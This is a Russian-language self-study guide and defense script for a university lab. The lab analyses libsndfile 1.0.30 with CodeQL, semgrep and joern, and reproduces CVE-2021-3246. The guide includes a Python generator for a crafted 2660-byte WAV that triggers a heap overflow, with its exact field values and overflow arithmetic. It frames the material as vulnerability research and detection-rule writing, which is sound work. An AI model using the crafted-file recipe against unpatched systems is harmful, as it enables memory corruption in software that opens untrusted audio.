Лабораторная работа №4: как рассказать и как показать (самоучитель + сценарий защиты)

> ЗАМЕТКА
>
> **Сначала главное.** Вся работа выполняется на этой машине: Linux, Omarchy/Arch, без WSL и Docker. Инструменты лежат в `lab4/work/` — этот каталог не входит в git, но на текущей машине он уже собран: CodeQL, semgrep, joern, JDK, исходники libsndfile 1.0.30 и 1.1.0, обычные и ASan-сборки. Результаты прогонов лежат в `lab4/results/`, скриншоты — в `lab4/screenshots/`.
>
> Полный прогон `./scripts/build/run-all.sh` занимает несколько минут и обращается в интернет за пакетами правил semgrep. Для защиты это не обязательно: все результаты уже получены, а быстрая демонстрация в разделе 5 занимает три минуты. Если каталог `work/` пропал (например, репозиторий склонировали заново), его восстанавливают командами `./scripts/build/01-fetch.sh` и `./scripts/build/02-build.sh`.

Этот документ можно читать двумя способами:

- **Как самоучитель** — подряд, с начала. Тогда вы поймёте, что за работа, почему она устроена именно так и что отвечать на вопросы.
- **Как сценарий защиты** — раздел 5 и дальше. Там расписано: что запустить, что должно появиться на экране и что при этом говорить. Блоки с пометкой «Скажи на защите» можно читать вслух почти дословно.

План на час до защиты. 1) Раздел 0 — вся работа в одном абзаце (5 минут). 2) Разделы 2.1–2.8 — теория (20 минут). 3) Раздел 4 — как всё работает по шагам (15 минут). 4) Разделы 5.6–5.8 — ожидаемые результаты и быстрая демонстрация (10 минут). 5) Разделы 6 и 7 — вопросы и границы (10 минут). 6) Раздел 8 — шпаргалка и карта кода (5 минут).

Содержание: 0 — вся работа в абзаце; 1 — состав; 2 — теория; 3 — вариант 4; 4 — как всё работает; 5 — демонстрация; 6 — вопросы; 7 — границы; 8 — шпаргалка; приложения — рисунки, правила, PoC, сводки.

---

0. Вся работа в одном абзаце

Нужно было проверить C-библиотеку **libsndfile 1.0.30** тремя статическими анализаторами, выбрать пять классов ошибок (CWE), найти и воспроизвести реальную уязвимость **CVE-2021-3246**, разработать по одному правилу для **CodeQL**, **semgrep** и **joern** и показать, что каждое правило срабатывает на уязвимой версии и молчит на исправленной **1.1.0**.

Пять штатных запросов CodeQL дали **301** срабатывание (290 — CWE-190, 8 — CWE-129, 2 — CWE-457, 1 — CWE-468, 0 — CWE-120). Штатные наборы semgrep: `p/c` — 0, `p/default` — 0, `p/security-audit` — 7. Штатный `joern-scan` — **368** срабатываний, из них 293 — эвристика Copy loop. Ни один штатный набор не нашёл CVE-2021-3246: уязвимость является ошибкой согласования размеров, а не неограниченным копированием. Поэтому для каждого

инструмента написано узкое правило по сигнатуре слабой проверки `blockalign` в `wavlike_msadpcm_init`. Все три правила дают **1 находку на 1.0.30** и **0 на 1.1.0**.

Уязвимость воспроизведена PoC-WAV на **2660 байт**: ASan показывает `heap-buffer-overflow` и запись `WRITE of size 2` в `msadpcm_decode_block` (`src/ms_adpcm.c:279`), а исправленная версия отклоняет тот же файл сообщением `samplesperblock (10) should be >= 1582`.

> **СКАЖИ НА ЗАЩИТЕ**
>
> «В работе исследована libsndfile 1.0.30 и уязвимость CVE-2021-3246 класса CWE-787. Уязвимость воспроизведена PoC-файлом на 2660 байт: ASan показывает запись за границу кучи в `msadpcm_decode_block`. Пять штатных запросов CodeQL дали 301 срабатывание, semgrep — 7 находок в security-аудите, joern — 368 срабатываний. Ни один штатный набор CVE не нашёл, поэтому для CodeQL, semgrep и joern написаны три собственных правила по сигнатуре слабой проверки `blockalign`; все три дают 1 находку на 1.0.30 и 0 на исправленной 1.1.0».

---

1. Что за работа и из чего она состоит

1.1. Задание и вариант

Работа называется «Использование средств статического анализа кода для оценки безопасности приложений». По таблице вариантов строка 4 задаёт:

Параметр	Значение
Вариант	4
Язык	C/C++
Третье средство	**joern**
Исследуемое ПО	**libsndfile 1.0.30**
Уязвимость	**CVE-2021-3246**
Тип ошибки	**CWE-787** (out-of-bounds write), дополнительно CWE-122 (heap-based buffer overflow)
Исправление	libsndfile **1.1.0**, коммит `deb669ee`
PoC	WAV-файл **2660 байт**, генератор `poc/gen_msadpcm_poc.py`

Задание требует:

1. Выбрать открытое ПО на языке варианта, для которого есть зарегистрированные CVE.
2. Выбрать пять критических типов ошибок CWE для этого языка, изучить правила CodeQL и примеры уязвимого кода.
3. Провести анализ CodeQL на пять типов ошибок, прокомментировать результаты и при необходимости уменьшить ложные срабатывания.
4. Выбрать известную CVE, описать причину, условия воспроизведения и код исправления.
5. Написать PoC.
6. Разработать правило CodeQL, которое выявляет эту CVE.
7. Провести анализ semgrep и разработать правило semgrep.
8. Провести анализ третьим средством (joern), изучить встроенные правила и разработать своё.
9. Описать всё это в отчёте.

libsndfile выбрана потому, что это компактная C-библиотека, которая разбирает недоверенные звуковые файлы, содержит реальную CVE, собирается за минуту и не требует внешних библиотек. joern выбран потому, что это третий инструмент варианта 4; он работает не с шаблонами и не с классическим dataflow, а с графом свойств кода и запросами на Scala. Именно поэтому одна и та же уязвимость описывается тремя разными способами.

1.2. Компоненты

Что	Файл / каталог	Зачем
Уязвимая библиотека	`work/src/libsndfile-1.0.30`	исходники, которые анализируются
Исправленная библиотека	`work/src/libsndfile-1.1.0`	проверка, что правила различают версии
Генератор PoC	`poc/gen_msadpcm_poc.py`	создаёт WAV, воспроизводящий уязвимость

Что	Файл / каталог	Зачем
PoC	`poc/msadpcm_poc.wav`	файл 2660 байт
Правило CodeQL	`rules/codeql/msadpcm-block-size.ql`	поиск слабой проверки в `wavlike_msadpcm_init`
Правило semgrep	`rules/semgrep/msadpcm-block-size.yaml`	то же в виде AST-шаблона
Правило joern	`rules/joern/msadpcm-block-size.sc`	то же обходом CPG на Scala
Скрипты	`scripts/` и `scripts/build/`	запуск PoC, правил и сборка
Результаты	`results/`	SARIF, txt, json, сводки, логи ASan
Скриншоты	`screenshots/`	PNG с реальным выводом команд
Отчёт	`report.md`, `mbks_lab_4.pdf`	текст для сдачи
Документация	`Документация_разработки_лаб4.md`	подробный разбор решений

Каталог `work/` в git не входит: исходники скачиваются скриптом `01-fetch.sh`, инструменты ставятся в `work/tools/` и `work/venvs/`. Поэтому после свежего клонирования репозитория результаты есть, а окружение нужно восстановить.

1.3. Схема

```
libsndfile 1.0.30 ──► CodeQL database ──► 5 штатных CWE-запросов ──► SARIF ──► 301
        │                                                          └──► своё правило ──► 1
        │
        ├──► semgrep ──► p/c, p/default, p/security-audit ──► 0 / 0 / 7
        │                                 └──► своё правило ──► 1
        │
        ├──► joern (c2cpg) ──► CPG ──► joern-scan ──► 368
        │                              └──► свой Scala-скрипт ──► 1
        │
        └──► сборка с ASan ──► sndfile-info + msadpcm_poc.wav
                                 ├──► 1.0.30: heap-buffer-overflow, ms_adpcm.c:279
                                 └──► 1.1.0: samplesperblock (10) should be >= 1582

libsndfile 1.1.0 ──► те же инструменты ──► все три своих правила дают 0
```

1.4. Что получилось

Артефакт	Результат
Пять штатных запросов CodeQL	**301**: CWE-190 — 290, CWE-129 — 8, CWE-457 — 2, CWE-468 — 1, CWE-120 — 0
Своё правило CodeQL	**1** на 1.0.30 (`src/ms_adpcm.c:131`), **0** на 1.1.0
Штатные наборы semgrep	`p/c` — 0, `p/default` — 0, `p/security-audit` — **7**
Своё правило semgrep	**1** на 1.0.30, **0** на 1.1.0
Штатный `joern-scan`	**368**, из них 293 — Copy loop
Своё правило joern	**1** на 1.0.30 (`ms_adpcm.c:131`), **0** на 1.1.0
PoC	WAV 2660 байт; ASan: `heap-buffer-overflow` в `msadpcm_decode_block`, `src/ms_adpcm.c:279`
Исправленная версия	тот же файл отклоняется: `samplesperblock (10) should be >= 1582`

Главная проверка качества: три независимых инструмента дают одинаковый результат на двух версиях. Это значит, что сигнатура выбрана правильно, а не случайно совпала с одним движком.

1.5. Границы

Сразу назовём границы, чтобы дальше не было сюрпризов:

- исследуется только одна CVE — CVE-2021-3246;
- все три собственных правила ищут конкретную синтаксическую форму условия, а не любой дефект согласования размеров;
- правила не доказывают выход за границу, а узнают уязвимую форму; доказательство даёт PoC и ASan;
- PoC рассчитан на WAV/MS ADPCM и утилиту `sndfile-info`, другие приложения не проверялись;
- штатные наборы шумные: 290 срабатываний CWE-190 и 293 Copy loop — это не 290 и не 293 уязвимости;
- сравнение версий ограничено 1.0.30 и 1.1.0, дистрибутивные патчи отдельно не проверялись.

Подробно — в разделе 7.

---

2. Теория на пальцах

2.1. SAST: что это и зачем

SAST (Static Application Security Testing) — анализ исходного кода без запуска программы. Инструмент читает код, строит его модель и ищет места, которые выглядят опасными: копирование без проверки длины, арифметику над данными из файла, индекс массива из заголовка, неинициализированную переменную.

Простыми словами: SAST — это «читатель кода», который не выполняет программу, а рассуждает о ней по тексту. **DAST** (Dynamic Application Security Testing) — наоборот, запускает программу и подаёт ей входные данные, наблюдая за поведением. SAST видит код, но не видит реального окружения; DAST видит поведение, но только на тех входах, которые ему дали.

Главные понятия:

- **Ложное срабатывание (false positive)** — инструмент говорит «опасно», а на самом деле безопасно.
- **Пропуск (false negative)** — инструмент молчит, а ошибка есть.
- **Точность (precision)** — доля истинных среди всех срабатываний. Низкая точность = много шума.
- **Полнота (recall)** — доля найденных среди всех реальных ошибок. Низкая полнота = много пропусков.
- **Триаж** — ручной разбор срабатываний: истинное, ложное, требует проверки.

В этой работе есть яркие примеры всего: 290 срабатываний CWE-190 — низкая точность; 0 срабатываний CWE-120 на исследуемой CVE — пропуск; 7 находок semgrep — смесь истинных и ложных; собственные правила — высокая точность ценой узости.

> **СКАЖИ НА ЗАЩИТЕ**
> «SAST анализирует код без запуска. Он даёт первичный список подозрительных мест, но не доказательство уязвимости: часть срабатываний ложная, часть ошибок он пропускает. Поэтому результаты нужно разбирать вручную и подтверждать запуском, например PoC под ASan».

2.2. CWE, CVE и CVSS

Это три разных уровня описания одной проблемы.

Понятие	Что означает	Пример в работе
CWE	класс ошибок, «как бывает»	CWE-787 — запись за границу, CWE-122 — переполнение кучи
CVE	конкретный экземпляр уязвимости в конкретном продукте	CVE-2021-3246 в libsndfile 1.0.30
CVSS	численная оценка серьёзности	8.8 High

CVE-2021-3246 имеет вектор `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`. Расшифровка: атака по сети, сложность низкая, привилегии не нужны, нужно действие пользователя

(открыть файл), влияние на конфиденциальность, целостность и доступность высокое. Итог — 8.8.

Почему в отчёте указаны и CWE-787, и CWE-122? CWE-787 — общий класс «запись за границу объекта», CWE-122 — его частный случай «переполнение буфера в куче». NVD в качестве основной записи указывает CWE-787, а CWE-122 уточняет, что буфер находится в куче. Это не два разных дефекта, а два уровня уточнения.

2.3. AST, CFG, IR, SSA и taint-анализ

Чтобы понимать, чем отличаются три инструмента, нужны пять слов.

- **AST** (abstract syntax tree) — дерево синтаксиса: `if`, вызов, оператор, литерал. CodeQL, semgrep и joern все начинают с AST.
- **CFG** (control-flow graph) — граф управления: какие блоки за каким выполняются, где ветвления и циклы.
- **IR** (intermediate representation) — промежуточное представление, близкое к машинным операциям; CodeQL для C/C++ строит его после компиляции.
- **SSA** (static single assignment) — форма, в которой каждая переменная присваивается один раз, а вместо переприсваиваний появляются версии. Удобна для анализа «откуда пришло значение».
- **Taint-анализ** — распространение метки «недоверенные данные» от источников к стокам.

Схема taint-анализа:

```
source (файл, argv, сеть) ──► операции ──► sink (memcpy, индекс, арифметика)
                                  │
                              sanitizer / guard
                              (проверка длины, границы)
```

Если данные доходят до стока без проверки — срабатывание. Если по пути стоит проверка — поток блокируется. Именно поэтому качество taint-анализа зависит от того, умеет ли инструмент понимать проверки.

Path-problem — это запрос, который возвращает не только место ошибки, но и путь от источника до стока. В SARIF такой результат содержит цепочку шагов, которую можно показать преподавателю.

2.4. CodeQL

CodeQL — анализатор от GitHub. Работает в два этапа:

1. **Создание базы.** Для C/C++ запускается компиляция проекта, и фронтенд записывает в базу AST, типы, вызовы, CFG, dataflow. Без компиляции базы нет.
2. **Выполнение запросов.** Запрос на языке QL — это логическая формула: `from ... where ... select ...`. Он выполняется по базе, а результат выгружается в SARIF.

Минимальный запрос выглядит так:

```
import cpp

from IfStmt check
```

```
where check.getEnclosingFunction().hasName("wavlike_msadpcm_init")
select check, "Найден if в wavlike_msadpcm_init"
```

Ключевые элементы:

- `@kind problem` — результат «место + сообщение»;
- `@kind path-problem` — результат «источник → путь → сток»;
- `@precision` — заявленная точность (low / medium / high);
- `@security-severity` — вклад в оценку;
- `@tags external/cwe/cwe-787` — привязка к CWE;
- пакеты правил (`codeql/cpp-queries`) и каталоги `Security/CWE/...`.

В работе использован пакет `codeql/cpp-queries` версии **1.9.2**, каталог `Security/CWE`. Пять запросов — это пять отдельных `.ql`-файлов, а не один «умный» анализ.

> **СКАЖИ НА ЗАЩИТЕ**
>
> «CodeQL сначала собирает базу: компилирует проект и записывает AST, типы, CFG и dataflow. Потом по базе выполняется запрос на QL. Запрос — это логическая формула, а не императивный скрипт. `@kind problem` даёт место и сообщение, `@kind path-problem` — ещё и путь от источника до стока».

2.5. semgrep

semgrep — анализатор на основе шаблонов исходного кода. Он не компилирует проект и не строит полноценную базу: он разбирает файлы в AST и сопоставляет с шаблоном. Правило — это YAML-файл:

```
rules:
  - id: lab4-msadpcm-block-size
    languages: [c]
    severity: ERROR
    message: >
      MS ADPCM: проверяется только blockalign, а samplesperblock не ограничен.
    patterns:
      - pattern-inside: |
          int wavlike_msadpcm_init(...)
          {
            ...
          }
      - pattern: |
          if (blockalign < 7 * $CHANNELS)
          {
            ...
          }
```

Что здесь важно:

- `pattern` — синтаксический шаблон; `...` означает «здесь может быть что угодно»;
- `$CHANNELS` — метапеременная, вместо неё подставляется любое выражение;
- `pattern-inside` — шаблон должен находиться внутри указанной конструкции (в нашем случае — внутри функции);
- `pattern-not`, `pattern-not-inside` — исключения;

- `metavariable-pattern`, `metavariable-comparison` — дополнительные условия на метапеременные;
- `mode: taint` — упрощённый taint-анализ с секциями `sources`, `sinks`, `sanitizers`;
- `metadata` — CWE, ссылки, категория.

Штатные наборы берутся из реестра semgrep.dev: `--config=p/c` — набор для C, `--config=p/default` — общий, `--config=p/security-audit` — security-аудит. Локальное правило подключается через `--config=rules/semgrep/msadpcm-block-size.yaml`.

Сильная сторона semgrep — скорость и простые правила. Слабая — нет полноценного потока управления и типов, поэтому он часто ошибается на указателях и переприсваиваниях.

> **СКАЖИ НА ЗАЩИТЕ**
>
> «semgrep не компилирует код: он разбирает файлы в AST и сопоставляет с YAML-шаблоном. `pattern-inside` ограничивает поиск телом функции, `$CHANNELS` — метапеременная. Правило быстро пишется и точно находит шаблон, но не анализирует поток управления, поэтому даёт ложные срабатывания на free/realloc».

2.6. joern

joern — анализатор, который строит **CPG** (Code Property Graph) и выполняет по нему запросы на Scala. CPG объединяет три графа:

- AST — синтаксис;
- CFG — управление;
- PDG — зависимости по данным и управлению.

Для C граф строит фронтенд **c2cpg**. Дальше возможны два режима:

1. **`joern-scan`** — запуск готовых запросов из установленной базы. Каждый запрос имеет имя, описание, балл, метки и язык. Строка результата выглядит так:

```
Result: 2.0 : Copy loop detected: ms_adpcm.c:307:msadpcm_decode_block
```

1. **Свой скрипт** `joern --script` — обход графа на Scala. В скрипте можно взять `cpg.method`, отфильтровать по имени, перейти к `controlStructure`, проверить детей AST условия и записать результат в файл.

Короткий пример запроса из штатной базы — `format-controlled-printf`, балл 4:

```
{ cpg =>
    val printfFns = cpg
      .method("(?i)printf")
      .callIn
      .whereNot(_.argument.order(1).isLiteral)
    val sprintsFns = cpg
      .method("(?i)(sprintf|vsprintf)")
      .callIn
      .whereNot(_.argument.order(2).isLiteral)
    printfFns ++ sprintsFns
}
```

Сильная сторона joern — гибкие запросы по графу и возможность писать собственные обходы. Слабая — нужен JDK, база для C меньше, чем у CodeQL, а штатный набор во многом эвристический.

> **СКАЖИ НА ЗАЩИТЕ**
> «joern строит CPG — объединение AST, CFG и графа зависимостей. Штатный `joern-scan` прогоняет готовые запросы, а своё правило пишется на Scala и обходит граф вручную: берём функцию, её `if`, проверяем детей условия. Для C граф строит c2cpg».

2.7. AddressSanitizer

ASan — инструмент компилятора, который добавляет в программу проверки памяти. Вокруг каждого выделения создаются «красные зоны», а каждое обращение проверяется по теневой памяти. Если программа пишет за границу объекта, ASan останавливает её и печатает:

- адрес и тип ошибки (`heap-buffer-overflow`);
- размер операции (`WRITE of size 2`);
- стек вызовов;
- размер региона и стек выделения.

В работе libsndfile собирается с `-fsanitize=address -g -O1`:

```
CC=clang CFLAGS="-std=gnu11 -fsanitize=address -g -O1" \
  LDFLAGS="-fsanitize=address" \
  ./configure --disable-external-libs --disable-shared --enable-static
make -j8 programs/sndfile-info
```

ASan не доказывает, что уязвимость эксплуатируема: он доказывает, что запись вышла за пределы выделенного объекта. Для учебной работы этого достаточно: есть конкретный файл, конкретная строка и конкретный размер.

2.8. Три частые путаницы

Путаница 1: CWE и CVE. CWE — класс ошибок, CVE — конкретный экземпляр. Нельзя сказать «CWE-2021-3246»; правильно «CVE-2021-3246 класса CWE-787».

Путаница 2: «инструмент нашёл» и «уязвимость доказана». Срабатывание SAST — это гипотеза. Доказательство — PoC, ASan, отладочный вывод или ручной разбор. В работе гипотезу дают правила, а доказательство — WAV-файл и падение под ASan.

Путаница 3: «много срабатываний» и «хороший анализ». 368 срабатываний joern выглядят солидно, но 293 из них — эвристика Copy loop, которая отмечает почти любой цикл кодека. Качество анализа измеряется не числом строк в отчёте, а точностью и полнотой. Поэтому в работе отдельно считаются истинные, ложные и требующие проверки срабатывания.

---

3. Вариант 4: что требовалось и что сделано

Пункт задания	Что сделано	Где смотреть
ПО на языке варианта с CVE	libsndfile 1.0.30, CVE-2021-3246	`README.md`, `work/src`
Пять CWE	120, 190, 129, 457, 468	`report.md`, раздел 2
Анализ CodeQL по пяти CWE	301 срабатывание	`results/codeql-cwe-1.0.30.sarif`
Изучение встроенных правил CodeQL	описание запросов и точности	`report.md` 2.1–2.5
Исследование CVE	причина, условия, исправление	`report.md` 2.7–2.11
PoC	WAV 2660 байт, ASan	`poc/`, `results/poc-*.log`
Правило CodeQL	1 на 1.0.30, 0 на 1.1.0	`rules/codeql/`
Анализ semgrep	0 / 0 / 7	`results/semgrep-*.txt`
Правило semgrep	1 / 0	`rules/semgrep/`
Анализ joern	368	`results/joern-builtin-1.0.30.txt`
Правило joern	1 / 0	`rules/joern/`
Отчёт	главы 2–3	`report.md`

Почему именно эти пять CWE. Для C-библиотеки, которая разбирает чужие файлы, самый опасный класс — ошибки памяти и целочисленной арифметики на данных из файла. В работе взяты:

- CWE-120 — переполнение при записи;
- CWE-190 — целочисленное переполнение;
- CWE-129 — непроверенный индекс массива;
- CWE-457 — условно неинициализированная переменная;
- CWE-468 — неверное масштабирование указателя.

Отдельных штатных запросов CWE-476 (разыменование NULL) и CWE-125 (чтение за границей) в пакете `codeql/cpp-queries` 1.9.2 нет, поэтому вместо них взяты CWE-457 и CWE-468 — тоже классы, приводящие к порче памяти и неопределённому поведению. CWE-416 (use-after-free) в пакете есть; его можно было взять вместо CWE-468, но в работе выбран набор из пяти разных механизмов, а use-after-free разобран на стороне semgrep. Это сознательный выбор, а не утверждение, что набор — «топ-5 всех времён».

Почему joern. Вариант 4 прямо задаёт joern третьим средством. Это удобно: CodeQL и semgrep работают с AST и dataflow, а joern — с CPG и Scala-запросами. Три разных движка на одной сигнатуре дают содержательное сравнение, а не три копии одного и того же.

---

4. Как всё работает по шагам

4.1. Сборка и версии

Скрипт `01-fetch.sh` клонирует теги `v1.0.30` и `1.1.0` в `work/src/`. Скрипт `02-build.sh` собирает четыре варианта: обычный и ASan для каждой версии.

```
./scripts/build/01-fetch.sh
./scripts/build/02-build.sh
```

Сборка libsndfile:

```
CC=clang CFLAGS="-std=gnu11 -g -O1" \
  ./configure --disable-external-libs --disable-shared --enable-static
make -j8 programs/sndfile-info
```

Для ASan добавляются `-fsanitize=address` в `CFLAGS` и `LDFLAGS`. Используется `clang 23.1.3`; сборка занимает около минуты.

Инструмент	Версия
clang	23.1.3
CodeQL	2.27.3
пакет `codeql/cpp-queries`	1.9.2
semgrep	1.182.1
joern	4.0.669
JDK	Temurin 21.0.13+9
libsndfile	1.0.30 (уязвимая), 1.1.0 (исправленная)

В `src/` версии 1.0.30 — 104 файла `.c` и 56 150 строк. Версии фиксируются в `results/versions.txt`. Это важно: числа в отчёте зависят от версий инструментов и наборов правил.

4.2. PoC: WAV-файл и воспроизведение

Генератор `poc/gen_msadpcm_poc.py` собирает WAV вручную через `struct.pack`, без сторонних библиотек. Так видны все поля файла.

Ключевые константы:

```
MS_ADPCM_GUID = bytes.fromhex("020000000000100080000aa00389b71")

CHANNELS = 226
BLOCK_ALIGN = 2592
SAMPLES_PER_BLOCK = 10
SAMPLE_RATE = 8000
BITS_PER_SAMPLE = 4
```

Сборка `fmt`-чанка:

```
fmt = struct.pack(
    "<HHIIHH",
    0xFFFE,             # WAVE_FORMAT_EXTENSIBLE
```

```
    CHANNELS,
    SAMPLE_RATE,
    SAMPLE_RATE * BLOCK_ALIGN,
    BLOCK_ALIGN,
    BITS_PER_SAMPLE,
)
extension = (
    struct.pack("<HI", SAMPLES_PER_BLOCK, 0)  # wValidBitsPerSample, dwChannelMask
    + MS_ADPCM_GUID
)
fmt += struct.pack("<H", len(extension)) + extension
data = bytes(BLOCK_ALIGN)
```

Поля файла:

Поле	Значение	Зачем
`wFormatTag`	`0xFFFE`	WAVE_FORMAT_EXTENSIBLE
SubFormat GUID	`00000002-0000-0010-8000-00AA00389B71`	подформат MS ADPCM
`nChannels`	226	проверка каналов для extensible не выполняется
`nBlockAlign`	2592	проходит старую проверку `>= 7 * 226 = 1582`
`wValidBitsPerSample`	10	читается как `samplesperblock`
размер `data`	2592	ровно один блок
размер файла	2660	

Запуск:

```
python3 poc/gen_msadpcm_poc.py
ASAN_OPTIONS=detect_leaks=0 \
  work/build/asan-1.0.30/programs/sndfile-info poc/msadpcm_poc.wav
```

Ожидаемый вывод ASan:

```
==...==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x...
WRITE of size 2 at 0x... thread T0
    #0 ... in msadpcm_decode_block .../src/ms_adpcm.c:279
    #1 ... in wavlike_msadpcm_init .../src/ms_adpcm.c:171
    #2 ... in wav_open .../src/wav.c:258
    ...
0x... is located 0 bytes after 9428-byte region [...]
allocated by thread T0 here:
    #0 ... in calloc
    #1 ... in wavlike_msadpcm_init .../src/ms_adpcm.c:138
SUMMARY: AddressSanitizer: heap-buffer-overflow .../src/ms_adpcm.c:279 in msadpcm_decode_block
```

На исправленной версии:

```
ASAN_OPTIONS=detect_leaks=0 \
  work/build/asan-1.1.0/programs/sndfile-info poc/msadpcm_poc.wav
```

```
Error : Not able to open input file .../poc/msadpcm_poc.wav.
*** Error samplesperblock (10) should be >= 1582.
```

Почему файл ровно 2660 байт: 12 байт `RIFF`-заголовка, 8 байт заголовка `fmt `, 40 байт `fmt`, 8 байт заголовка `data`, 2592 байта данных. Итого 12 + 8 + 40 + 8 + 2592 = 2660.

> **СКАЖИ НА ЗАЩИТЕ**
> «PoC — это WAV-файл на 2660 байт, который я собираю скриптом. В нём 226 каналов, blockalign 2592 и wValidBitsPerSample 10. Для extensible-формата libsndfile читает validbits как samplesperblock, проверка каналов 1–2 не срабатывает, а старая проверка blockalign проходит. На 1.0.30 ASan показывает запись за границу кучи в msadpcm_decode_block, на 1.1.0 файл отклоняется сообщением samplesperblock (10) should be >= 1582».

4.3. Анатомия CVE-2021-3246

Разберём по шагам, что происходит внутри libsndfile 1.0.30.

Шаг 1. Разбор `fmt`-чанка. Для обычного `WAVE_FORMAT_MS_ADPCM` в `wavlike_read_fmt_chunk` есть проверка:

```
case WAVE_FORMAT_MS_ADPCM :
    if (wav_fmt->msadpcm.bitwidth != 4)
        return SFE_WAV_ADPCM_NOT4BIT ;
    if (wav_fmt->msadpcm.channels < 1 || wav_fmt->msadpcm.channels > 2)
        return SFE_WAV_ADPCM_CHANNELS ;
```

Для `WAVE_FORMAT_EXTENSIBLE` этой ветки нет: код читает `validbits` и `channelmask`, но число каналов не ограничивает. Общая проверка `psf->sf.channels > SF_MAX_CHANNELS` пропускает до 1024 каналов, поэтому 226 проходят.

Шаг 2. Объединение `WAV_FMT`. Заголовок WAV хранится в объединении:

```
typedef union
{   unsigned short      format ;
    MIN_WAV_FMT         min ;
    IMA_ADPCM_WAV_FMT   ima ;
    MS_ADPCM_WAV_FMT    msadpcm ;
    G72x_ADPCM_WAV_FMT  g72x ;
    EXTENSIBLE_WAV_FMT  ext ;
    GSM610_WAV_FMT      gsm610 ;
    WAV_FMT_SIZE20      size20 ;
    char                padding [512] ;
} WAV_FMT ;
```

В `MS_ADPCM_WAV_FMT` восьмое поле — `samplesperblock`, в `EXTENSIBLE_WAV_FMT` восьмое поле — `validbits`. Поскольку это объединение, для extensible-файла чтение `wav_fmt->msadpcm.samplesperblock` фактически читает `wValidBitsPerSample`. В PoC это 10.

Шаг 3. Проверка в `wavlike_msadpcm_init`. В 1.0.30 она одна:

```
if (blockalign < 7 * psf->sf.channels)
{   psf_log_printf (psf, "*** Error blockalign (%d) should be > %d.\n",
                    blockalign, 7 * psf->sf.channels) ;
    return SFE_INTERNAL ;
    } ;
```

Для PoC: `2592 < 7 * 226 = 1582` — неверно, проверка проходит. Затем считается `count`:

```
count = 2 * (pms->blocksize - 6 * pms->channels) / pms->channels ;
if (pms->samplesperblock != count)
    return SFE_INTERNAL ;
```

Подставляем: `2 * (2592 - 6 * 226) / 226 = 2 * 1236 / 226 = 2472 / 226 = 10` (целочисленное деление). `samplesperblock` тоже 10 — равенство выполняется.

Шаг 4. Выделение памяти.

```
pmssize = sizeof (MSADPCM_PRIVATE) + blockalign + 3 * psf->sf.channels * samplesperblock ;

if (! (psf->codec_data = calloc (1, pmssize)))
    return SFE_MALLOC_FAILED ;
```

`sizeof (MSADPCM_PRIVATE)` на 64-битной платформе — 56 байт. Считаем: `56 + 2592 + 3 * 226 * 10 = 56 + 2592 + 6780 = 9428` байт. Именно этот размер ASan и показывает.

Шаг 5. Раскладка буфера.

```
смещение 0      заголовок MSADPCM_PRIVATE           56 байт
смещение 56     samples[0..2259]                    4520 байт (2260 short)
смещение 4576   block[0..2591]                      2592 байта
смещение 7168   запас                               2260 байт (1130 short)
смещение 9428   конец выделения
```

`samples` указывает на `dummydata`, `block` — на `dummydata + channels * samplesperblock`, то есть сразу за областью сэмплов. Запас появился из-за множителя `3` в формуле: под сэмплы нужно `2 * C * S` байт, под блок — `blockalign`, а выделено `3 * C * S`. Лишний `C * S` байт и есть запас.

Шаг 6. Декодирование. В `msadpcm_decode_block` для `channels != 1` берётся стерео-преамбула: читаются 14 байт, четыре сэмпла кладутся в индексы 0–3, `blockindx = 14`. Затем:

```
sampleindx = 2 * pms->channels ;   /* 2 * 226 = 452 */
while (blockindx < pms->blocksize)
{   bytecode = pms->block [blockindx++] ;
    pms->samples [sampleindx++] = (bytecode >> 4) & 0x0F ;
    pms->samples [sampleindx++] = bytecode & 0x0F ;
    } ;
```

В блоке остаётся `2592 - 14 = 2578` байт, на каждый байт пишутся два `short`. Это 5156 записей в индексы 452…5607.

Шаг 7. Где начинается выход за границу. В выделении помещается `(9428 - 56) / 2 = 4686` элементов `short` с индексами 0…4685. Первая запись за конец — индекс 4686. За границу уходят индексы 4686…5607, то есть **922 записи** по 2 байта. ASan фиксирует первую из них на `ms_adpcm.c:279`.

Почему падение не происходит раньше? Записи с 452 по 2259 идут в область сэмплов, с 2260 по 3555 — в область блока (он уже прочитан, поэтому порча не мешает), с 3556 по 4685 — в запас. Только после 4685 начинается чужая память.

Шаг 8. Исправление в 1.1.0. Вместо одной проверки `blockalign` появились две:

```
/* There's 7 samples per channel in the preamble of each block */
if (samplesperblock < 7 * psf->sf.channels)
```

```
{   psf_log_printf (psf, "*** Error samplesperblock (%d) should be >= %d.\n",
                    samplesperblock, 7 * psf->sf.channels) ;
    return SFE_INTERNAL ;
    } ;

if (2 * blockalign < samplesperblock * psf->sf.channels)
{   psf_log_printf (psf, "*** Error blockalign (%d) should be >= %d.\n",
                    blockalign, samplesperblock * psf->sf.channels / 2) ;
    return SFE_INTERNAL ;
    } ;
```

Для PoC первая даёт `10 < 1582` и отклоняет файл до `calloc` и до декодера.

> **СКАЖИ НА ЗАЩИТЕ**
> «Причина не в том, что кто-то забыл проверить длину при копировании. Причина в согласовании двух размеров: blockalign и samplesperblock. Для extensible-файла samplesperblock читается из wValidBitsPerSample, проверка каналов 1–2 не выполняется, а старая проверка смотрит только на blockalign. В итоге под сэмплы выделяется 2260 short, а декодер пишет 5156 значений, начиная с индекса 452. Первая запись за границу — индекс 4686, всего за границу уходят 922 short. В 1.1.0 добавлены проверки samplesperblock >= 7 * channels и 2 * blockalign >= samplesperblock * channels, поэтому PoC отклоняется ещё до выделения памяти».

4.4. CodeQL: пять запросов и своё правило

База создаётся отдельно для каждой версии:

```
codeql database create work/db-1.0.30 --language=cpp \
  --source-root=work/src/libsndfile-1.0.30 \
  --command="scripts/build/codeql-build.sh 1.0.30" --overwrite
```

Затем запускаются пять запросов из пакета `cpp-queries` 1.9.2:

CWE	Запрос	Важность / точность	Найдено
CWE-120	`cpp/unbounded-write`	error, medium	0
CWE-190	`cpp/integer-overflow-tainted`	warning, low	290
CWE-129	`cpp/unclear-array-index-validation`	warning, low	8
CWE-457	`cpp/conditionally-uninitialized-variable`	warning	2
CWE-468	`cpp/suspicious-add-sizeof`	warning, high	1
		Итого	**301**

CWE-120. Запрос ищет запись в буфер без ограничения длины и строит путь от источника к стоку. На libsndfile — 0. Это не значит, что код чистый: исследуемая CVE не является неограниченным копированием, она — ошибка согласования размеров. Модель «недоверенная длина → запись» её не описывает.

